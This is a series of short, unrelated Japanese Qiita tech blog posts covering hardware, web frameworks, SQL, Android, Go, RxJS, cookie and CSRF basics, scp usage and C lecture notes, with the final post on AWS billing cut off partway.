OmniAICreator/Qiita-1.07M huggingface dataset:
USB-JTAGモジュール「TE0790」のピン配置と使い方

# TE0790とは
TrenzElectronic社から[TE0790](https://www.trenz.jp/product/TE0790-03)というUSB-JTAGモジュールが発売されています。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/542455/170353e7-94e2-d86b-215e-361775f7ed78.png)

TE0790はFT2232Hを使ったUSB-JTAGとUSB-UARTを備えた切手サイズのモジュールで、XILINXのVivadoからはDigilent互換のUSB-JTAGとして認識されます。TrenzElectronic社がDigilent社と提携していてXILINXのライセンスが提供されているからそのようなことができます。
FT2232Hの裏にはLatticeのCPLDがレベルバッファ用に載っていて、実はすごい実装密度なのです。
# TE0790の型番
TE0790にはTE0790-02やTE0790-03Lなどいくつかの型番がありますが、02と03は基本的には基板のバージョンの違いなので大きな差はありません。現在では02版は絶版になっているので入手可能なのは03のみです。

したがって、TE0790-03かTE0790-03Lかを選ぶことになりますが、**Lが付く方は少しだけ価格は安い分、Digilent互換ではないので、Vivadoから認識されません。**

XILINXユーザであれば**TE0790-03以外の選択肢はない**と言えるでしょう。

# TE0790の使い方
## TE0790 pinout
さて使い方ですが、この12ピンのコネクタは2.54mmピッチでXILINXの14pin JTAGとの互換性はありません。
ピン配置は下の図のようになっています。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/542455/69edaf38-e0f0-626a-d58d-57d817ed52e3.png)

実際には裏返して使うことになるので、裏面のピン配置のほうが重要かもしれません。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/542455/974f3958-4012-28e5-1311-ecf2a8081559.png)

## TE0790 switch & LED
裏面にはDIPスイッチやLEDがいろいろついています。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/542455/0b048e48-cbc9-833c-a166-638176c74174.png)

UART RX、UART TXはUARTの通信が行われたときに点灯します。ユーザLEDは、標準のCPLDファームウェアではプッシュスイッチが押されたときに点灯します。プッシュスイッチにもユーザLEDにも特に機能はありません。

DIPスイッチは、左から4,3,2,1という番号になっていて、下下上下にします。これでS2-4=ON、S2-3=ON、S2-2=OFF、S2-1=ONになります。

* S2-1(↓)・・・ONならば通常モード(必須)。OFFならばCPLD書き換えモード。
* S2-2(↑)・・・必ずOFFにすること(必須)
* S2-3(↓)・・・ONならばUser I/O電源(VIO)を3.3Vに接続する。OFFならばVIOはピンヘッダから供給する。
* S2-4(↓)・・・ONならばUSBバスパワーから3.3Vを給電する。OFFならば3.3Vはピンヘッダから供給する。

つまり、S2-3で、このUSB-JTAGのメインの3.3V電源をUSBから供給するかピンヘッダから供給するかを選びます。

S2-3をONにしているとピンヘッダの3.3VからターゲットFPGAボードへ電流が逆流するのでご注意ください。このボードの電源は300mAの容量しかないので、TE0790をUSB電源ボードとして利用するのは難しいでしょう。

VIOはI/O電源でJTAG信号やUARTの信号の電圧振幅ですが、S2-4でこれを3.3Vにするかユーザが設定するかを選びます。設定範囲は1.14V～3.6Vです。この選択ができるので、**1.5Vの電源電圧対応ICのJTAGにも接続することができる**というわけです。

# 実際に使ってみた　
当社のSpartan-7ボードと一緒に万能基板に乗せた場合のようすです。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/542455/0d3e850f-1e79-bcd3-d752-c3351ae41889.png)
このように裏返して実装します。引っこ抜けるのが心配であればねじ穴を使って固定します。

実際に使っているときの写真を示します。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/542455/c8d21fa6-2d5e-1add-e708-45cd81317c27.png)

この設定ではメインのFPGA基板から3.3VをもらわずにUSBバスパワーで動作します。しかしVIOと3.3Vがつながっているので結果的には3.3Vは全部つながってしまうのですけどね。

なお、TCK速度は15.15MHz(66ns)でした。

Digilent互換なので、Vivadoからもつながります。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/542455/9b29f614-0b3f-411e-212e-27546c136e54.png)

UARTもつないでいるので、MicroBlazeを入れたシステムなどでTeraTermを使ってprintfを表示できます。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/542455/a228df7a-0fc5-d6ff-8340-e4cee477937a.png)

# 使用上の注意（これをやるとライセンスが消える！）

最後に大事なことを。
TE0790は、FTDI社のプログラミングツールを使ってFT2232HのEEPROMにアクセスしてはいけません。もし、アクセスすると通常は見えない領域に書かれたXILINXのJTAGライセンスが消去されて無効になってしまうからです。このときFTDIのツールは警告を発しません。

# 購入方法
TE0790-03は、日本の代理店から即納で購入できます。
https://www.trenz.jp/product/TE0790-03
気象過去データの利用１（アメダス地点表示）

気象庁が、2020年3月末まで、気象過去データを無償で提供しています。
(参考) 気象過去データの利用環境
https://www.data.jma.go.jp/developer/past_data/index.html

基本的な気象データは、「利用目的・対象を問わず、どなたでもご利用頂けます。」とのことなので、気象データを使って何か行っていきます。

# アメダス地点表示
今回の公開データではありませんが、まずは、アメダス地点を地図上に表示してみます。

## アメダス地点ファイルダウンロード
アメダス地点のcsvファイルをダウンロードします。

```python
import os
import urllib.request

# アメダス地点ファイルダウンロード
url    = 'https://www.jma.go.jp/jma/kishou/know/amedas/ame_master.zip'
folder = 'amedas'
path   = 'amedas/ame_master.zip'
# フォルダ作成
os.makedirs(folder, exist_ok=True)
if not os.path.exists(path):
    # ダウンロード
    urllib.request.urlretrieve(url, path)
```

## データ読み込み
pandasにデータを読み込みます。
zipファイルでも直接読み込めます。エンコードの設定が必要です。

```python
import pandas as pd

# ファイル読み込み
df = pd.read_csv('amedas/ame_master.zip', encoding='cp932')
# データ確認
df
```
## アメダス地点を地図上に表示
ダウンロードしたアメダス地点ファイルには、各地点の緯度、経度が含まれています。
foliumを利用し地図上に観測所地点を表示してみます。
気象官署は、「赤」、アメダス地点は、「青」で表示します。
中心地点は、「東京」にしています。適宜変更してみてください。
地図は、他の地図アプリ同様に移動、拡大縮小が簡単にできます。非常に便利ですね。

```python
import folium

# アメダス地点を地図に表示
# 中心点設定
po = '東京'  # 確認したい地点に変更
po_df = df[df['観測所名'] == po].iloc[0]
latitude  = po_df['緯度(度)'] + po_df['緯度(分)']/60
longitude = po_df['経度(度)'] + po_df['経度(分)']/60
map = folium.Map(location=[latitude, longitude], zoom_start=10)

# アメダス地点を設定
for index, row in df.iterrows():
    tooltip = row['観測所名']
    if row['種類'] == '官':
        # 気象官署は赤
        folium.Marker(location=[row['緯度(度)'] + row['緯度(分)']/60, row['経度(度)'] + row['経度(分)']/60], 
                      tooltip=tooltip, icon=folium.Icon(color='red')).add_to(map)
    else:
        # アメダス地点は青
        folium.Marker(location=[row['緯度(度)'] + row['緯度(分)']/60, row['経度(度)'] + row['経度(分)']/60], 
                      tooltip=tooltip, icon=folium.Icon(color='blue')).add_to(map)
# 地図表示
map
```

ツールチップに、観測所名を表示していますが、私のJupyterNotebookの環境では化けています。
html形式に保存し表示すると正しく表示されました。

```python
# 地図を保存
map.save(outfile="amedas_map.html")
```

保存したhtmlを表示してみます。

![map.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/212365/dfb5d6f1-89bd-d8bd-c96c-a4374351ad37.png)

まずは、アメダス地点を地図上に表示してみました。

データの公開期間が2020年3月末までのため、必要な方は、早めのダウンロードをお勧めします。
Vuetifyでv-model.lazyしたい

自社プロダクトのフロントエンドでVue.jsとVuetifyを使っています。

Vuetifyのテキストフィールド(v-text-field)でv-model.lazyを適用したら、挙動が.lazy修飾子がない場合の挙動と同じだったので調べて分かったことをメモ_φ(･_･

Vue.jsの公式ドキュメントよりv-model.lazyは

>デフォルトでは、 v-model は各 input イベント (上記の IME 確定前を除いて) 後に、データと入力を同期します。 change イベント後に同期するように変更するために lazy 修飾子を追加することができます

とのことなので、以下のようにVuetifyのテキストフィールド(v-text-field)にも同じように適用したら、inputのたびに更新処理が走り、期待する動作（changeイベントで更新）になりませんでした。

```
<v-text-field v-model.lazy="name"></v-text-field>
```

さらに調べると、以下のGithubのissuesに辿り着き、v-modelの修飾子はVuetify等のカスタムコンポーネントではサポートしていないということが分かりました。

[v-text-field v-model lazy doesn't work #1810](https://github.com/vuetifyjs/vuetify/issues/1810)

v-modelはv-onとv-bindをまとめて一行で書くためのシュガーシンタックスなので、v-onとv-bindをそれぞれ書き分けることで、changeイベントで更新が発動する処理が実現できました。

```
<v-text-field :value="name" @change="value => name = value"></v-text-field>

<script>
  props: {
    person: Object
  },
  computed: {
    name: {
      get () {
        return this.person.name
      },
      set (name) {
        this.$emit('change', name)
      }
    }
  }
```
Cookieの話

普段何気なく使っているCookieの仕組みを整理した備忘録です。

#Cookie?
https://www.atmarkit.co.jp/ait/articles/1704/20/news024.html
https://digitalidentity.co.jp/blog/creative/what-is-cookie.html
のあたりがわかりやすかったです。

https://qiita.com/Ohtak/items/056a8d594216c8e9f3cd#%E3%82%B9%E3%83%86%E3%83%BC%E3%83%88%E3%83%AC%E3%82%B9%E3%82%B5%E3%83%BC%E3%83%90%E3%83%BC
も少し関連します。

Cookieとは、サーバーとクライアント間の通信にくっつけてやり取りするデータのことです。
本来、http通信はステートレスであり、クライアント側の状態を管理しません。
なのでそのままだと

- ユーザーがログイン済みかどうかのチェック
- ユーザーがカートに入れた商品の記憶

などクライアントの状態を管理する必要がある処理を実装できません。。

そこで、はじめにユーザーがアクセスした時にサーバーからCookieをレスポンスにくっつけて返してやります。
それを受け取ったブラウザは次にアクセスする時にそのCookieをリクエストにくっつけて送ります。
こうすることによって、クライアント側の状態を管理することができます。
また、cookieには有効期限があり、それを過ぎるとまたリクエスト時に何もつけないようになるので日をまたぐとまた入力を求められたりします。

####Cookieを使用した処理の一例
ログイン処理の場合、

- リクエストに`user_id`というCookieがくっついてるかチェック。ついてなかったらログイン画面に飛ばす。ついてたらサービス画面に飛ばす
- ログイン成功したらレスポンスに`user_id=xxx`というcookieをセットして返す

という風に実装してやれば、

- ユーザーが初めてサーバーAにアクセス
- `user_id`というCookieがないのでログイン画面に飛ばす。
- ログインに成功した際のサーバーからのレスポンスに`user_id=xxx`というcookieをセットしてクライアントに返す
- もう一度ユーザーがサーバーAにアクセスすると今度はCookieがあるのでサービス画面に入れる

という挙動が作れます。

#デメリット
上記の通りCookieには重要な情報が含まれることがあり、盗まれるとなりすましが行われる危険があります。
また、Cookieを悪用される可能性もあります。（CSRF等）

##CSRF？
参考：
https://www.shadan-kun.com/blog/measure/2640/
https://html-coding.co.jp/knowhow/security/csrf/
https://www.shadan-kun.com/blog/glossary/2443/
https://www.ipa.go.jp/security/awareness/vendor/programmingv2/contents/301.html

`cross-site request forgeries`の略で、どこかのサイトにログインしている状態（＝Cookieに個人情報がある状態）で悪意のあるURLをクリックした際に、ログイン中のサイトに悪意のあるリクエストを送信させられることを指します。
これによってクレカ決済、スパムツイート送信等を勝手に行わせられます。

###メカニズム

- ユーザーが任意のサイトにログイン
- その状態で悪意のあるリンクを踏む。
- 攻撃者のサーバーからユーザーのクライアントを通じてログイン中のサイトへ任意のリクエストが実行される。Cookieにはログイン情報が仕込まれているため、パスワード入力等を素通りしリクエストに応じた処理が行われる

###対策
要するに、リクエストが間違いなく正規のユーザーから送信されたことがわかればいいです。
考えられるのは下記２点でしょうか。

####正規のユーザーでないとできない認証を挟む
Cookie情報に関わらず必ずパスワードを入力させる、CAPTCHA（画像認証）が挙げられます。
特に画像認証に関しては必ず目視で確認する方法があるため安全です。

####ワンタイムトークンを使う
リクエスト送信のたびに予測困難なランダムな文字列を生成し、hiddenでフォームにくっつけて送る手法です。
サーバー側ではセッション変数として記憶しておき、それと合致した際だけ処理を実行します。
これによりフォームを介さないリクエストは全部弾くことができます。

###Chrome 80の仕様変更
参考：
https://qiita.com/ahera/items/0c8276da6b0bed2b580c

Cookieの属性に`SameSite`が指定されていない場合、デフォルトでLaxになります。
（結構スケジュール変更ありましたが、2020/3/7現在はすでに適用済みのはず）

詳しくは上記参考サイトが詳しかったのですが、この仕様変更によって悪意のあるサイトからのPOSTリクエストではCookieが送信されなくなります。
自分のサイトで意図的に他のドメインと通信していることもあるかもしれませんが、そういうときは意図的に`SameSite=None`を指定してね、ってことです。

#まとめ
Cookieは便利ですが盗まれる危険性があります。使う際はセキュリティに気をつけましょう
go：mapstructureを使ってJSONファイルを開いて構造体を返す汎用的な関数

# やりたいこと
* いろんなファイルを読み込む必要がある
* いちいちそのファイル専用の関数を作りたくない
* JSONファイルパスと構造体を渡すだけで済む汎用的な関数を作りたい

# コード
```json:config.json
{
  "ip_addresses": ["127.0.0.1", "127.0.0.2", "127.0.0.3"]
}
```

```go:main.go
package main

import (
  "fmt"
  "github.com/mitchellh/mapstructure"
  "encoding/json"
  "io/ioutil"
)

type Conf struct {
  // ここ重要。アンダースコア必要
  Ip_Addresses     []string `json:"ip_addresses"`
}

func main() {
  const confPath = "./config.json"
  var conf Conf
  convertJsonFileToStruct(confPath, &conf)
  fmt.Print(conf.Ip_Addresss)
}

func convertJsonFileToStruct(filePath string, resultReceiver interface{}) {
  // JSONファイル読み込み
  file, err := ioutil.ReadFile(filePath)
  if err != nil {
    panic(err)
  }

  // JSON化
  dynamicJson := make(map[string]interface{})
  if err := json.Unmarshal([]byte(file), &dynamicJson); err != nil {
    panic(err)
  }

  // 引数でもらった構造体にmapstructureを使ってJSONを入れる
  if err := mapstructure.Decode(dynamicJson, &resultReceiver); err != nil {
    panic(err)
  }
}
```

# 補足
* 貰った構造体とJSONの構造が一致しないとちゃんとエラーになってくれる
* なぜ構造体のフィールド名にアンダースコアがなければいけないのかはまだ調べられていない
* アンダースコアが無いとエラーにならない＆値取れないので注意


# 感想
* ポインター便利だけど飛び道具感ある
* interface戸惑う
* goって薄くする文化らしくてそのせいか「この処理はこれ！」みたいなデファクトスタンダードなパッケージがあまり無い印象。ガンガン使った方が生産性高くない？（Rails脳）
    * 中国のgopherはフルスタックのbeegoをガンガン使ってて合理的な印象がある
    * 性能を追い求めてピュアにするぐらいならCの方が良いのでは？誰かに話を聞いてみたい
        * 追記：知り合いの大先生曰く「Cはメモリの扱いが難しいのでその観点でgoを使うのは妥当」とのことでした
Node.js Expressフレームワークを使用する（新規ページ作成）

#はじめに
[前回の投稿](https://qiita.com/t_skri/items/48948c0c2bfd535cf7d2)でExpressのひな型を生成しました。
今回は新規ページ（Hello World）を作成します。

#環境
OS:Windows 10 Pro 64bit
node.js:v12.16.1
npm:v6.13.4
Express:v4.16.1

#jsファイル作成
routesフォルダにhello.jsを作成します。

```Javascript:hello.js
var express = require('express');
var router = express.Router();

router.get('/', function(req, res, next) {
    res.render('hello', {
        msg: 'Hello World'
    });
});

module.exports = router;

```

#ejsファイル作成
viewsフォルダにhello.ejsを作成します。

```HTML:hello.ejs
<!DOCTYPE html>
<html>
    <head>
        <meta charset="utf-8">
        <title>Hello World</title>
    </head>
    <body>
        <%= msg %>
    </body>
</html>
```
#app.jsの修正
ルート直下にあるapp.jsに次の2行を追加します。

```
var hello = require('./routes/hello');
app.use('/hello', hello);
```

```Javascript:app.js
var createError = require('http-errors');
var express = require('express');
var path = require('path');
var cookieParser = require('cookie-parser');
var logger = require('morgan');

var indexRouter = require('./routes/index');
var usersRouter = require('./routes/users');
var hello = require('./routes/hello');       // ←追加

var app = express();

// view engine setup
app.set('views', path.join(__dirname, 'views'));
app.set('view engine', 'ejs');

app.use(logger('dev'));
app.use(express.json());
app.use(express.urlencoded({ extended: false }));
app.use(cookieParser());
app.use(express.static(path.join(__dirname, 'public')));

app.use('/', indexRouter);
app.use('/users', usersRouter);
app.use('/hello', hello);          // ←追加

// catch 404 and forward to error handler
app.use(function(req, res, next) {
  next(createError(404));
});

// error handler
app.use(function(err, req, res, next) {
  // set locals, only providing error in development
  res.locals.message = err.message;
  res.locals.error = req.app.get('env') === 'development' ? err : {};

  // render the error page
  res.status(err.status || 500);
  res.render('error');
});

module.exports = app;
```
以上で追加作業は終わりです。サーバーを実行して動作確認をします。

#動作確認
コマンドプロンプトで次のコマンドを実行します。

```Bash
npm start
```
ブラウザで「[http://localhost:3000/hello](http://localhost:3000/hello)」にアクセスします。
次のキャプチャが表示されればOKです。

![express03.jpg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/591423/317dc3da-5a09-772e-28f0-1ede9a2dd370.jpeg)

#まとめ
このような流れでページ追加をすることが出来ます。
【SQL】NULLと空文字の扱い

SQLの使い方を調べていて、NULLと空文字の扱いについて疑問が出たのでメモ。

##NULLと空文字
大前提NULLと空文字は別物で、
NULL：何もない
空文字：長さ0文字の文字列
ってことらしい。

で、SQLではNULLと空文字が厳密に判定される、とのこと。[このサイトが分かりやすい。](https://wa3.i-3-i.info/diff290moji.html)

##MySQLでのNULLと空文字の扱い

▼空文字のみヒット

```sql
SELECT * FROM tbl_name WHERE str = '';
```
▼NULLのみヒット

```sql
SELECT * FROM tbl_name WHERE str IS NULL;
```
▼ 空文字とNULL値が除外される(str != '';の挙動に注意)

```sql
SELECT * FROM tbl_name WHERE str != '';
```
▼ NULL値が除外される

```sql
SELECT * FROM tbl_name WHERE str IS NOT NULL;
```
wrap with new widget が消えた (Flutter / IDE)

Android Studioで電球マークを押しても、Wrap with new widgetが出てこなくなり、Adjust code style settingsしか出てこなくなった時の解決方法

どこにあるかわからず、結構うざかったので、解決した時のURLを貼っておきます。

解決方法
（Mac)Preference → Editor → intentions → Quick assist powered by the Dart Analysis Server..を有効化

https://github.com/flutter/flutter-intellij/issues/2448





![スクリーンショット 2020-03-07 11.36.08.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/378998/21be4830-a5b7-cea5-67fe-9088273450cc.png)
iMac の Bluetooth をオフにして詰んだときの対処法

再起動するとパスワード要求される、でもキーボード接続できないから入力できない！有線キーボードもない！完全に詰んだ〜🤦‍♀️という方へ、解決策ありました💁‍♀️

### やったこと

- iMacに接続されている全ての外部デバイスを引っこ抜く
- 再起動
- 「ログインでお困りですか？」みたいな画面が出てくる
- 普通にキーボード使える！！！



**外部デバイスを全て外して再起動**すると、自動で接続可能なキーボードなどを探しに行ってくれるみたいです😌💨
users_controllerでbinding.pryを使用した時になぜユーザーidが取得できているのか

# users_controllerでbinding.pryを使用した時

```users_controller.rb
def show
    binding.pry
    user = User.find(params[:id])
    @nickname = user.nickname
    @tweets = user.tweets.page(params[:page]).per(5).order("created_at DESC")
 
```

【質問】
binding.pryを入力し、ターミナルにparamsを入力するとしっかりユーザーｉｄが取れて来ている。
user = User.find(params[:id])より前にbinding.pryを使用しているのに
なぜユーザーidが取れているの？という質問に対して即答できませんでした。。。


【答え】
前提としてログインしている時点でユーザーidの情報は持っているし、
マイページに飛ぶ際にリクエストで、current_user.idを記載しURLと一緒に飛ばしている。


```application.html.erb
<a href="/users/<%= current_user.id %>">マイページ</a>

```


つまり、ユーザーidの情報をusers.controllerでのbinding.pry以前から
持っているので、ターミナル上のparamsでユーザーidを取得されている事が確認できる。
Androidアプリでカスタムフォントを使いたい！

#目的
標準フォント以外のフォントを使う

#環境
Android Studio 3.6.1
Build #AI-192.7142.36.36.6241897, built on February 27, 2020
ランタイム・バージョン: 1.8.0_212-release-1586-b04 amd64
VM: OpenJDK 64-Bit Server VM by JetBrains s.r.o
Windows 10 10.0
GC: ParNew, ConcurrentMarkSweep
Memory: 1246M
Cores: 4
Registry: ide.new.welcome.screen.force=true

#カスタムフォント使用の手順
###①カスタムフォントを用意
なんでもいいんですが、SourceHanSerifを使っていきます。
SourceHanSerifとは：https://source.typekit.com/source-han-serif/jp/
直ダウンロードリンク：https://github.com/adobe-fonts/source-han-serif/tree/release/OTF/Japanese

###fontフォルダーを追加
resフォルダーを右クリック
　＞新規
　　＞フォルダー
　　　＞フォント・リソース・フォルダー
でfontフォルダーを追加します。


###②カスタムフォントをfontフォルダーに配置
普通にotfファイルをコピペで大丈夫です。
( 使えない文字がファイル名に入っている場合は、
各自修正してください。例えばハイフンとか... )
![added_font.PNG](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/590405/a4ce66e1-5517-608b-0d3f-bf20fe2bc332.png)

###③FontFamilyプロパティにカスタムフォントを設定
上の方にProjectというグループができるので、そこからカスタムフォントを選択します。
![select_font.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/590405/c8e46acd-c898-aae3-530d-c8dc6b82400a.png)

**大まかなカスタムフォント使用の手順は以上になります。**

#問題点
**フォントにはBaseLineと余白という概念が存在して、実際に設定されています。**
標準フォントは一定水準使えるように、BaseLineや余白は綺麗に合わせられています。
ですがカスタムフォントは大抵の場合、フォントごとにバラバラなのでこの問題が出てくるということになります。
![real.PNG](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/590405/c275cf07-efa5-2578-65ac-326234bb4211.png)

実行してみるとどうでしょう。
これは悪なことに、実行してみないと分からないんです。
私はこの問題にやられて何度もリサーチしましたが運悪く、見つからず、「もういい！標準フォントで断念だ」となったとこがありました。
同じ思いをした方が多いのではないかと思い、この記事を書いたのであります。

プロパティをよく見てる人なら気付いたと思いますが、解決方法は簡単です。

#解決方法
★includeFontPaddingプロパティを無効化する。

テキストを扱うViewには大抵、includeFontPaddingプロパティが設けられており、デフォルトではtrueになっています。
includeFontPaddingプロパティは言葉の通りですが、**フォントに設定されている余白を含めるかどうか**というプロパティになっています。

falseを設定することで無効化できます。
![disable_include_font_padding.PNG](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/590405/500fef69-3092-ac13-986d-703b1d215400.png)

includeFontPaddingを無効化したら実行して確認してみてください。
![disabled_after_real.PNG](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/590405/22a68391-4b43-dae1-fca2-bc1c87d52083.png)

以上になります。
参考になった方がいましたら、是非いいねや共有をしてみてください。
ありがとうございました。
AtCoder ABC005 C - おいしいたこ焼きの売り方

https://atcoder.jp/contests/abc005/tasks/abc005_3

読解。

# 概要
- a1, a2,...,an の時間で焼きあがるn個のたこ焼きがある
- b1, b2,...,bm の時間でm人のお客さんが来る
- お客さんを待たせてはならない
- たこ焼きはtよりも長い時間が経過していたらお客さんには提供できない
- 配列a, b は昇順にソート済みである

# 考えたこと
aをqueueとして捉えて、お客さんbを順番に見ていく。dequqを使ってpopleftする。
ほとんど、コメントとしてコードに書いたのでロジックは割愛。

# コード
```Python
from collections import deque
t = int(input())
nt = int(input()) # num tacoyaki
datt = deque(list(map(int, input().split())))
nc = int(input()) # num customer
datc = deque(list(map(int, input().split())))
f = True # 最終的には売れる、という期待
while len(datc) > 0 and f == True:
    ct = datc.popleft() # 次の到着時間
    is_sell = False # この人に売ることができたか？
    for i in range(len(datt)): # 全部のたこ焼きを順番に取っていこうとする
        tt = datt.popleft() # 次のたこ焼きの到着時間
        if (tt > ct): # 待たせすぎ
            f = False # 失敗
        elif tt == ct: # JIT
            is_sell = True
            break # このたこ焼きで決定
        elif (ct - tt) <= t: #間に合うなら
            is_sell = True
            break # このたこ焼きで決定
        else: # ふるいたこやき
            continue # 捨てて次のたこ焼きに進む
    if is_sell is False: # この人に売れなかったら
        f = False # 失敗
        break
print("yes" if f else "no")
```
https://atcoder.jp/contests/abc005/submissions/10575514
scpで踏み台サーバー経由でファイルを送る

# まずは踏み台サーバーへSSH接続

```sh:tarminal
ssh ’踏み台サーバー’ -l ユーザ
```
例

```sh:tarminal
ssh 111.222.333.444 -l hogehoge
```

# scpでファイル送信

```sh:tarminal
scp ユーザー@ファイルが置いてあるサーバー:ファイルのパス ユーザー@送り先のサーバー:保存ディレクトリ
```
例

```sh:tarminal
scp hage@333.333.44.55:/home/hage/aaa.txt huga@22.44.77.99:/home/huga/
```
それぞれのサーバーのパス入力
初期表示処理でいっぱいapi呼んでformを作成しないといけない時のRxJSの書き方(最適化版)

## この記事の概要

[前回の記事](https://qiita.com/pg_yamaton/items/9f84a8c27c071737271e)の呼び方は効率的でなかったので今回は下記の呼び方で実装します。

[1-1]．データA・Bを並行で取得
[1-2]．データD・E・Fを並行で取得
[2]．データC取得
[3]．その他非同期処理(form作成の事前準備)
↓
上記[1]・[2]・[3]を並行で処理後、取得したデータでformを作成する

（前回の方法ではデータC取得処理とその他非同期処理も終わらなければデータD・E・F取得処理に進めない）

## 実装

```typescript

ngOnInit() {
  // [1][2][3]を並行で処理
  forkJoin([
    // ここから[1]
    forkJoin([
      // ここから[1-1]。A・B取得処理を並行
      this.fetchA(),
      this.fetchB()
      // ここまで[1-1]
    ]).pipe(
      // [1-2]処理後
      // ここから[1-2]
      flatMap(([dataA, dataB]) =>
        // D・E・F取得処理を並行。AとBの取得結果も後続の処理に返す
        forkJoin([
          of(dataA),
          of(dataB),
          this.fetchD(dataA),
          this.fetchE(dataB),
          this.fetchF(dataA, dataB)
        ])
      )
      // ここまで[1-2]
    ),
    // ここまで[1]
    this.fetchC(), // [2]
    this.otherObservableFn() // [3]
  ]).pipe(
  // [1][2][3]処理後
    /*
     * ※resの中は
     * [
     *   [dataA, dataB, dataD, dataE, dataF], // [1]
     *   dataC, // [2]
     *   otherFn // [3]
     *  ]
     * です
     */
  ).subscribe(res => {
    this.createForm(res);
    this.showScreen = true;
  });
}
```

## ちょっとリファクタリング

[1]は関数分けた方が可読性が良いと思います
また、JSON形式で必要なデータのみcreateFormに渡すようにしてみます

```typescript

ngOnInit() {
  forkJoin([
    this.fetchBaseData(),
    this.fetchC(),
    this.otherObservableFn()
  ]).pipe(
    /*
     * resの中身：
     * [
     *   { dataA, dataB, dataD, dataE, dataF }
     *   , dataC
     *   , otherObservableFnの戻り
     * ]
     * ここからmapでdataCもJSON形式に組み込み、
     * otherObservableFnの戻りを除外して
     * フォームに必要なデータだけ後続に返すようにする。
     */
    map(res => Object.assign({}, { ...res[0] }, { dataC: res[1] })
    // res2の中身： { dataA, dataB, dataD, dataE, dataF, dataC }
  ).subscribe(res2 => {
    this.createForm(res2);
    this.showScreen = true;
  );
}

// ※戻りの型は定義した方が良いです。
private fetchBaseData(): Observable<{ dataA: AModel, dataB: BModel, dataD: DModel, dataE: EModel, dataF: FModel }> {
  return forkJoin([this.fetchA(), this.fetchB()]).pipe(
    flatMap(([dataA, dataB]) =>
      forkJoin([
        of(dataA),
        of(dataB),
        this.fetchD(dataA),
        this.fetchE(dataB),
        this.fetchF(dataA, dataB)
      ])
    ),
    // JSON型で返すようにする
    map(res => {
      return {
        dataA: res[0],
        dataB: res[1],
        dataD: res[2],
        dataE: res[3],
        dataF: res[4]
      };
    })
  );
}
```
環境変数を設定、削除しながら一行コマンドを打つ方法

ちょっと必要になったのでメモ代わり

ヾ(・ω<)ﾉ"　三三三●　ⅱⅲ コロコロ♪

----
------------------- ↓ 本題はここから ↓-------------------

##PowerShell

```powershell
# 環境変数設置
PS C:\Users\magic> $env:COMPOSE_FILE="C:\Program Files\abc"; $env:COMPOSE_FILE
C:\Program Files\abc
# 環境変数削除
PS C:\Users\magic> $env:COMPOSE_FILE=""; $env:COMPOSE_FILE
```

##Command Prompt

```
# 環境変数設置
C:\Users\magic>set COMPOSE_FILE="C:\Program Files\abc" && set compose_file
COMPOSE_FILE="C:\Program Files\abc"

# 環境変数削除
C:\Users\magic>set COMPOSE_FILE= && set compose_file
COMPOSE_FILE=
```

##Bash

```
dozo@dozo /m/c/U/magic> COMPOSE_FILE=/home/dozo/abc echo $COMPOSE_FILE
/home/dozo/abc
# 削除は記述しなきゃいいだけ
```


----
------------------- ↓ 後書はここから ↓-------------------
1年後期の講義メモ(C言語) その1

#はじめに
1年後期にC言語の講義があったのでそこで書いたコードをまとめていきます。
使用教材はこれです。
[C言語によるプログラミング基礎編](https://www.ohmsha.co.jp/book/9784274064401/)

##環境
MacBook Pro(Retina, 13-inch, Late 2013)
Xcode Version 10.2.1
担当教授にメールで聞いたらこれでええよんと言われたのが理由で使い始めました。

###課題とコード

最初にHello World!って表示させると思ってたんですがしないんですね。
ということで省略。
課題は基本的にプログラムの概形がすでに作成されていて???の部分を各自が考えて完成させるという感じです。

####第一回
環境構築、動作確認だけだったので省略
Windowsの人はTeraPad？とかいうやつを使っているそうです。

####第二回
1.自分と友人の学籍番号の数字下3桁を変数に格納し、それらを足した値を表示するプログラム作成しなさい。

学籍番号は適当に入力しておきます。

```c
#include <stdio.h>

int main()
{
    int a, b, c;
    
    a = 1;
    b = 2;
    c = a + b;
    printf( "自分の学籍番号%d, 友人の学籍番号%d, 合計%d\n", a, b, c );
    
    return 0;
}
```

```c:実行結果
自分の学籍番号1, 友人の学籍番号2, 合計3
Program ended with exit code: 0
```

いきなり友達がいない人には厳しい課題を出してきました。
アカハラというやつですか？
私は耐えました。


####第三回
演算子に関する講義でした。

1.

```c:
#include <stdio.h>

int main()
{
    int a = 2 ;
    
    a += 10 ;  // a = a + 10  
    a += 1 ;   // a = a + 1 
    a %= 5 ;   // a = a % 5
        
    printf("%d\n", a) ;
    
    return 0;
    
}
```

```c:実行結果
3
Program ended with exit code: 0
```



2.変数の型に注意し，以下のようなプログラムを作成しなさい。
(a).半径と円周率を表す変数を用意し，値を代入．
(b).円周を表す変数を用意し，1.の変数を用いて計算．
(c).(b)で計算した円周を表示


```c:
#include <stdio.h>
#include <float.h>
int main()
{
    double r = 2.0; // rは半径
    double pi = 3.14; //piは円周率
    double l = 2*r*pi; //lは円周
    printf("円周は%g\n", l);
    
    return 0;
}
```

```c:実行結果
円周は12.56
Program ended with exit code: 0
```

##最後に
本記事はとりあえずここまでにしておきます。
~~決してまとめるのが面倒くさくなったわけではありません。~~
C言語を使用する講義は今後もあると思うので忘れないためにもまとめていきます。
【AWS】インスタンスもボリュームもないのに課金される謎が解けた

去年、AWSに登録して、無料期間が終わっているのは知っていたのですが、全く使っていないはずなのに課金される謎がありました。
Billing > Cost Reports > Cost Explorerから使用タイプを見ると、ボリュームというものに課金されているらしい。
